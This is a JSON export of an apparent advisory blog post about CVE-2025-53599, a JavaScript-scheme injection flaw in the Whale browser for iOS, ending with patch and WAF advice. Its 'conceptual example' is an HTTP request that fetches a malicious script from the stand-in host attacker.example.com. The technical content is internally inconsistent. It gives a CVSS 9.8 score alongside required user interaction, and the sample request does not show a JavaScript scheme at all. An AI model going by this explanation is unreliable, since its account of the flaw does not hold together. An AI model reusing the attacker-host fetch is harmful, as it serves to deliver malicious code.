{"id":58808,"date":"2025-07-10T05:22:03","date_gmt":"2025-07-10T05:22:03","guid":{"rendered":""},"modified":"2025-10-21T10:43:09","modified_gmt":"2025-10-21T16:43:09","slug":"cve-2025-53599-critical-javascript-injection-vulnerability-in-whale-browser-for-ios","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53599-critical-javascript-injection-vulnerability-in-whale-browser-for-ios\/","title":{"rendered":"CVE-2025-53599: Critical JavaScript Injection Vulnerability in Whale Browser for iOS<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A serious security vulnerability has been discovered in the Whale browser for iOS versions before 3.9.1.4206. This vulnerability, classified as CVE-2025-53599, enables an attacker to execute malicious scripts via a specifically crafted JavaScript scheme, potentially leading to system compromise or data leakage.
\nThis vulnerability is particularly concerning because it affects a popular web<\/a> browser used by millions of iOS users worldwide. Successful exploitation could enable cybercriminals to launch attacks<\/a> ranging from data theft to complete system takeover, hence the urgency to address this vulnerability.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53599
\nSeverity: Critical, CVSS Severity Score of 9.8
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Execution of malicious scripts potentially leading to system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Whale Browser for iOS | Before 3.9.1.4206<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The CVE-2025-53599 vulnerability allows the execution of malicious scripts<\/a> in the Whale browser via a crafted JavaScript scheme. This exploit is typically delivered in a network-based attack, often through a phishing or spear-phishing email, or a malicious webpage.
\nThe cybercriminal crafts a malicious JavaScript scheme that, when executed in the Whale browser, triggers the vulnerability<\/a>. Given that this exploit requires user<\/a> interaction, the attacker typically disguises the malicious script as a legitimate link or button that the victim is enticed to click.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how an attacker might craft a malicious HTTP request exploiting this vulnerability<\/a>:<\/p>\n

GET \/malicious\/script.js HTTP\/1.1\nHost: attacker.example.com\nUser-Agent: WhaleBrowser\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nReferer: http:\/\/legitimate.example.com\nAccept-Language: en-US,en;q=0.5<\/code><\/pre>\n
In this example, the attacker hosts a malicious JavaScript file (`script.js`) on their server (`attacker.example.com`), and tricks the user into requesting this file by clicking a disguised link<\/a> or button on a seemingly legitimate website (`http:\/\/legitimate.example.com`). When the Whale browser processes this request, it triggers the vulnerability and executes the malicious script<\/a>.
\nIt is highly recommended for users to apply the vendor’s patch immediately or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation until the patch can be applied.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview A serious security vulnerability has been discovered in the Whale browser for iOS versions before 3.9.1.4206. This vulnerability, classified as CVE-2025-53599, enables an attacker to execute malicious scripts via a specifically crafted JavaScript scheme, potentially leading to system compromise or data leakage. This vulnerability is particularly concerning because it affects a popular web browser […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-58808","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t